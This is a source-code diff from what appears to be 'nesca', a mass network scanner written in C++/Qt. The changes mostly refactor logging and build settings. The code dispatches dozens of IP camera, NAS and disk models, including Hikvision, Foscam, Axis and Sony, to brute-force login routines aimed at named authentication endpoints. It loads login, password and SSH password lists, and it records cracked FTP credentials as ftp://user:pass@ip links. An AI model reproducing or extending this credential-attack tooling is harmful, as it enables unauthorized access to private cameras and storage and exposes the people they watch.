sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
fputsf(ip, port, log, flag, "FTP");
// strcat(log, "<a href=\"ftp://");
// strcat(log, lps.login);
// strcat(log, ":");
// strcat(log, lps.pass);
// strcat(log, "@");
// strcat(log, ip);
// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
// strcat(log, lps.login);
// strcat(log, ":");
// strcat(log, lps.pass);
// strcat(log, "@");
// strcat(log, ip);
// strcat(log, "</span></a>");
// strcat(log, ps.headr);
// strcat(logEmit, "<a href=\"ftp://");
// strcat(logEmit, lps.login);
// strcat(logEmit, ":");
// strcat(logEmit, lps.pass);
// strcat(logEmit, "@");
// strcat(logEmit, ip);
// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
// strcat(logEmit, lps.login);
// strcat(logEmit, ":");
// strcat(logEmit, lps.pass);
// strcat(logEmit, "@");
// strcat(logEmit, ip);
// strcat(logEmit, "</span></a> (F:");
// strcat(logEmit, std::to_string(ps.directoryCount).c_str());
// strcat(logEmit, ")");
fputsf(log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion
}
else if(strstr(lps.login, "Unknown protocol") != NULL)
{
strcat(log, "; [!] USER/PASS commands failed. Dunno what to do.");
fputsf(ip, port, log, flag, "");
fputsf(log, flag, "");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
#pragma endregion
};
}
else if(flag == 21) //Eyeon
{
_specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd, "");
}
else if(flag == 22) //IP Camera control
{
_specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd, "");
}
else if(flag == 23) //Network Camera BB-SC384
{
_specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd, "");
}
else if(flag == 24) //Network Camera VB-M40
{
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, "");
}
else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera
{
_specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd, "");
}
else if(flag == 26) //Sony Network Camera
{
_specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd, "");
}
else if(flag == 27) //UA Network Camera
{
_specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd, "");
}
else if(flag == 28) //Network Camera VB-M40
{
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, "");
}
else if(flag == 29) //LG Smart IP Device
{
_specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd, "");
}
else if(flag == 30) //NAS
{
_specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 31) //ip cam
{
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 32) //IPC WEB ip cam
{
_specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC");
_specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, recd, "IPC");
}
else if(flag == 33) //GEOvision ip cam
{
_specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO");
_specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, recd, "GEO");
}
else if(flag == 34) //Hikvision ip cam
{
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd, "");
}
else if(flag == 35) //EasyCam
{
_specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam");
_specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, recd, "EasyCam");
}
else if(flag == 36) //Panasonic Cam
{
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 37) //Panasonic Cam
{
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 38) //Foscam
{
_specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Web Authorization", cp, recd, "Foscam");
_specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "Web Authorization", cp, recd, "Foscam");
}
else if(flag == 39) //EagleEye
{
_specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd, "");
}
else if(flag == 40) //Network Camera VB-C??
{
_specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd, "");
}
else if(flag == 41) //AVIOSYS-camera
{
_specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Web Authorization", cp, recd, "AVIOSYS");
_specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, recd, "AVIOSYS");
}
else if(flag == 42) //NW_camera
{
_specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "[NW_camera] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd, "");
}
else if(flag == 43) //NW_camera
{
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd, "");
}
else if(flag == 44) //Hikvision ip cam 2
{
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, "");
}
else if(flag == 45) //Panasonic ip cam
{
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 46) //Buffalo disk
{
_specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "[Buffalo] Lan Disk", "Web Authorization", cp, recd, "BUFFALO");
_specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, recd, "BUFFALO");
}
else if(flag == 47) //Digital Video Server
{
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS");
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "Web Authorization", cp, recd, "DVS");
}
else if(flag == 48) //ipCAM
{
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM");
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM");
}
else if(flag == 49) //IEORFOREFOX
{
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "[IEORFOREFOX] Camera", "Web Authorization", cp, recd, "IEORFOREFOX");
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX");
}
else if(flag == 20) //AXIS Camera
{
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd, "");
}
else if(flag == 19) //reecam cameras
{
_specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 18) //linksys camera
{
_specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 17) //Real-time IP Camera Monitoring System
{
_specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd, "");
}
else if(flag == 11)
{
_specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 12)
{
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd, "");
}
else if(flag == 13)
{
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd, "");
}
else if(flag == 14)
{
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd, "");
}
else if(flag == 15) //For HFS
{
@ -1827,36 +1861,39 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
isActive = 1;
++AnomC1;
strcpy(log, "[HFS]:<font color=\"#ff6600\">");
strcat(log, hl);
strcat(log, " :: </font><a href=\"http://");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "/\"><span style=\"color: #a1a1a1;\">");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">");
strcat(log, finalstr);
strcat(log, " Pass: ");
lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", "");
strcat(log, lps.login);
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "</font>");
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
// strcpy(log, "[HFS]:<font color=\"#ff6600\">");
// strcat(log, hl);
// strcat(log, " :: </font><a href=\"http://");
// strcat(log, ip);
// strcat(log, ":");
// strcat(log, port);
// strcat(log, "/\"><span style=\"color: #a1a1a1;\">");
// strcat(log, ip);
// strcat(log, ":");
// strcat(log, port);
// strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">");
// strcat(log, finalstr);
// strcat(log, " Pass: ");
// strcat(log, lps.login);
// strcat(log, ":");
// strcat(log, lps.pass);
// strcat(log, "</font>");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fputsf (ip, port, log , flag, "HFS");
fputsf (log , flag, "HFS");
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
ZeroMemory(temp, sizeof(temp));
}
else if(flag == 1)
{
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, "");
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd, "");
}
else if(flag == 101)
{
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy);
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd, buffcpy);
}
else if(flag == 10)
{
@ -1866,10 +1903,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
{
putInFile(flag, ip, port, recd, finalstr, hl, cp);
};
#pragma endregion
return flag;
};
}
const char *rbuff1 = "GET ";
const char *rbuff2 = " HTTP/1.1\r\nHost: ";
@ -1954,7 +1991,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){
strcat(mes, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%s", tempPort);
sprintf(tbuff, "%d", tempPort);
strcat(mes, tbuff);
}
if(strlen(cookie) != 0)
@ -2087,7 +2124,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){
strcat(mes, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%s", tempPort);
sprintf(tbuff, "%d", tempPort);
strcat(mes, tbuff);
}
if(strlen(cookie) != 0)
@ -2175,7 +2212,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){
strcat(mes, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%s", tempPort);
sprintf(tbuff, "%d", tempPort);
strcat(mes, tbuff);
}
if(strlen(cookie) != 0)
@ -2269,7 +2306,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){
strcat(mes, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%s", tempPort);
sprintf(tbuff, "%d", tempPort);
strcat(mes, tbuff);
}
if(strlen(cookie) != 0)
@ -2344,11 +2381,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
};
return -1;
};
}
void _getPopupTitle(PathStr *ps, char *str)
{
char res[32] = {0};
strcat(ps->headr, "[Popup detected. Title: ");
char *ptr1 = strstr(str, ",");
@ -2379,7 +2415,8 @@ void _getPopupTitle(PathStr *ps, char *str)
};
strcat(ps->headr, "]");
};
}
void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port)
{
char *ptr1 = strstr(str, tag);
@ -2422,7 +2459,6 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
if(ptrQuote2 != NULL)
{
sz = ptrQuote2 - tempBuff;
char link[512] = {0};
if(sz < 511)
{
if (tempBuff[0] == '.' && tempBuff[1] == '/')
@ -2456,7 +2492,6 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
char *ptrQuote3 = strstr(link1, "/");
if(ptrQuote3 != NULL)
{
char link[512] = {0};
strcpy(dataBuff, ptrQuote3);
};
};
@ -2469,7 +2504,8 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]");
};
};
};
}
void _getJSCookie(char *dataBuff, char *str, char *ip, int port)
{
char *ptr1 = strstri(str, "document.cookie");
@ -2490,7 +2526,8 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port)
};
};
};
};
}
int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff)
{
std::string redirectStr = "";
@ -2521,7 +2558,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
return 0;
};
char *secondStr, *firstStr, *tempStr, finalstr[512] = {0};
char finalstr[512] = {0};
if(strstri(str, "notice auth :*** looking up your hostname...")
|| strstri(str, "451 * :You have not registered.")
@ -2555,7 +2592,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(strstri(str, "top.htm?currenttime") != NULL
|| strstri(str, "top.htm?") != NULL
) strcat(finalstr, " [?][SecCam detected]");
#pragma endregion
#pragma region 302 Redirects
if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL
@ -2636,6 +2673,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
};
};
};
if(strstri(str, "http-equiv=\"refresh\"") != NULL
|| strstri(str, "http-equiv=refresh") != NULL
|| strstri(str, "http-equiv='refresh'") != NULL
@ -2654,7 +2692,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
{
temp = strstri(strTmp, "url=");
char *temp1 = NULL, *temp2 = NULL, temp3[128] = {0};
char *temp2 = NULL, temp3[128] = {0};
int sz = 0;
if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r')
@ -2702,6 +2740,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
return 0;
};
};
if(strstri(str, "<script") != NULL)
{
if(strstri(str, "document.cookie") != NULL)
@ -2800,7 +2839,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
};
};
};
#pragma endregion
if(strstri(str, "ActiveXObject") != NULL
|| strstri(str, ".cab") != NULL
@ -2829,7 +2868,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
char *str1 = str;
char *str2 = NULL;
char lol[128] = {0};
char tag[16] = {0};
int AreaLen = 0;
do
{
@ -3049,4 +3087,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
strcpy(ps->path, "/");
return 0;
};
}

View File

@ -44,12 +44,41 @@ typedef hostent HOSTENT;
typedef struct linger LINGER;
typedef int BOOL;
#define INVALID_SOCKET (SOCKET)(~0)
#define SOCKET_ERROR (-1)
#define SD_BOTH 0x02
#ifndef FAR
#define FAR far
#endif
#ifndef INVALID_SOCKET
#define INVALID_SOCKET (SOCKET)(~0)
#endif
#ifndef SOCKET_ERROR
#define SOCKET_ERROR (-1)
#endif
#ifndef EINPROGRESS
#define EINPROGRESS WSAEINPROGRESS //10036
#endif
#ifndef ENOTSOCK
#define ENOTSOCK WSAENOTSOCK //10038
#endif
#ifndef EADDRNOTAVAIL
#define EADDRNOTAVAIL WSAEADDRNOTAVAIL //10049
#endif
#ifndef ECONNRESET
#define ECONNRESET WSAECONNRESET //10054
#endif
#ifndef ENOBUFS
#define ENOBUFS WSAENOBUFS //10055
#endif
#ifndef ETIMEDOUT
#define ETIMEDOUT WSAETIMEDOUT //10060
#endif
#ifndef ECONNREFUSED
#define ECONNREFUSED WSAECONNREFUSED //10061
#endif
#endif
#define MAX_ADDR_LEN 128
#define TITLE_MAX_SIZE 512
#define COOKIE_MAX_SIZE 1024

View File

@ -4,16 +4,14 @@
#
#-------------------------------------------------
QT += core gui
QT += core gui multimedia
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
PKGCONFIG += openssl
CONFIG += c++11
TARGET = nesca
TEMPLATE = app
LIBS += -lssh
INCLUDEPATH += /opt/Qt5.3.2/5.3/gcc_64/include/QtWidgets/
SOURCES +=\
main.cpp \
@ -71,3 +69,11 @@ RESOURCES += \
OTHER_FILES += \
nesca_3.rc
unix|win32: LIBS += -lssl
unix|win32: LIBS += -lssh
unix|win32: LIBS += -lcrypto
unix|win32: LIBS += -lpthread

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-02-26T12:01:33. -->
<!-- Written by QtCreator 3.2.1, 2015-02-27T15:04:30. -->
<qtcreator>
<data>
<variable>EnvironmentId</variable>

File diff suppressed because it is too large Load Diff

View File

@ -64,7 +64,7 @@ protected:
void ChangePingerOK(bool val);
void changeNSTrackLabel(bool status);
void slotPBUpdate();
void DNSLine_ValueChanged(QString str);
void DNSLine_ValueChanged();
void slotChangeCPModeToUTF();
void slotChangeCPModeTo1251();
void slotShowRedVersion();
@ -141,7 +141,7 @@ protected:
void appendRedIRCText(QString str);
void appendGreenIRCText(QString str);
void appendYellowIRCText(QString str);
void appendDefaultIRCText(bool, bool, int, QString str, QString s);
void appendDefaultIRCText(bool, bool, QString str, QString s);
void appendDefaultIRCTextOut(QString str);
void appendDefaultIRCRawTextInc(QString str);
void appendDefaultIRCRawTextOut(QString str);

View File

@ -1,6 +1,5 @@
<RCC>
<qresource prefix="/nesca_3">
<file>Eurostile.ttf</file>
<file>Z:/nesca.ico</file>
</qresource>
</RCC>

View File

@ -1385,6 +1385,7 @@ border-radius: 3px;</string>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>9</pointsize>
<weight>75</weight>
<bold>true</bold>
<underline>false</underline>
@ -2929,6 +2930,7 @@ background-color: #000000;</string>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>9</pointsize>
</font>
</property>
<property name="styleSheet">

View File

@ -4,9 +4,11 @@
#include "externData.h"
#include "externFunctions.h"
typedef struct ST{
typedef struct {
char argv[MAX_ADDR_LEN];
}sockstruct;
} ST;
ST *st = NULL;
QJsonArray *jsonArr = new QJsonArray();
@ -420,7 +422,8 @@ void *_timer()
ZeroMemory(dbuffer, sizeof(dbuffer));
Sleep(1000);
};
};
}
bool trackAlreadyGoing = false;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
void _tracker()
@ -873,7 +876,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
//
//
// return res;
//};
//}
Connector con;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
@ -884,7 +887,7 @@ void *_connect(void* ss)
{
++ipCounter;
char ip[MAX_ADDR_LEN] = {0};
strcpy(ip, ((sockstruct*)ss)->argv);
strcpy(ip, ((ST*)ss)->argv);
//char hostLog[256] = {0};
//strcpy(hostLog, GetHost(ip));
delete []ss;
@ -1059,7 +1062,6 @@ void _passLoginFapper()
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)");
i = 0;
while(fgets(buffFG, 32, wfLoginList) != NULL)
@ -1071,26 +1073,18 @@ void _passLoginFapper()
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)");
fclose(wfLoginList);
fclose(wfPassList);
fclose(wfLoginList);
}
else
{
stt->doEmitionRedFoundData("No password/login list found");
stt->doEmitionKillSttThread();
};
#pragma region SSHPASS
MaxSSHPass = 0;
FILE *sshlpList;
ZeroMemory(buffFG, sizeof(buffFG));
i = 0;
@ -1122,24 +1116,17 @@ void _passLoginFapper()
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)");
fclose(sshlpList);
}
else
{
stt->doEmitionRedFoundData("No password/login list found");
stt->doEmitionKillSttThread();
};
stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str()));
}
void ReadUTF8(FILE* nFile, char *cp)
@ -1166,7 +1153,6 @@ void ReadUTF8(FILE* nFile, char *cp)
GlobalNegatives = new char*[GlobalNegativeSize + 2];
char buffcpy[256] = {0};
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
{
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
@ -1304,8 +1290,6 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage)
void _NegativeFapper()
{
FILE *nFile = fopen("negatives.txt", "rb");
char buffFG[256] = {0};
unsigned char buffcpy[256] = {0};
if( nFile != NULL)
{
@ -1648,9 +1632,7 @@ int fInit(int InitMode, char *gR)
void FileLoader(char *str)
{
char res[256] = {0};
char curIP[256] = {0}, curIPCopy[256] = {0};
char tempBuff[4] = {0};
unsigned int importFileSize = 0;
FILE *fl = fopen(str, "r");
@ -1783,10 +1765,6 @@ void FileLoader(char *str)
}
else if(strstr(curIP, "/") != NULL)
{
char *str1;
char *str2;
char res[8] = {0};
int mask = 0;
char *ptr1 = strstr(curIP, "/");
GetOctets(curIP);
@ -1896,7 +1874,6 @@ char *GetCIDRRangeStr(char *str)
char result[128] = {0};
char start[32] = {0};
char end[32] = {0};
char buff[16] = {0};
int mask = 0;
char *ptr1 = strstr(str, "/");
@ -2188,8 +2165,6 @@ return 0;
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'};
sockstruct *st = NULL;
char iip[256] = {0};
int _getPos(char l)
{
@ -2269,7 +2244,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder)
#pragma region DNS-SCAN
if(globalScanFlag == false) return 0;
strcpy(endIP2, saveMask);
st = new sockstruct();
st = new ST();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(iip, sizeof(iip));
while(cons >= gThreads) Sleep(300);
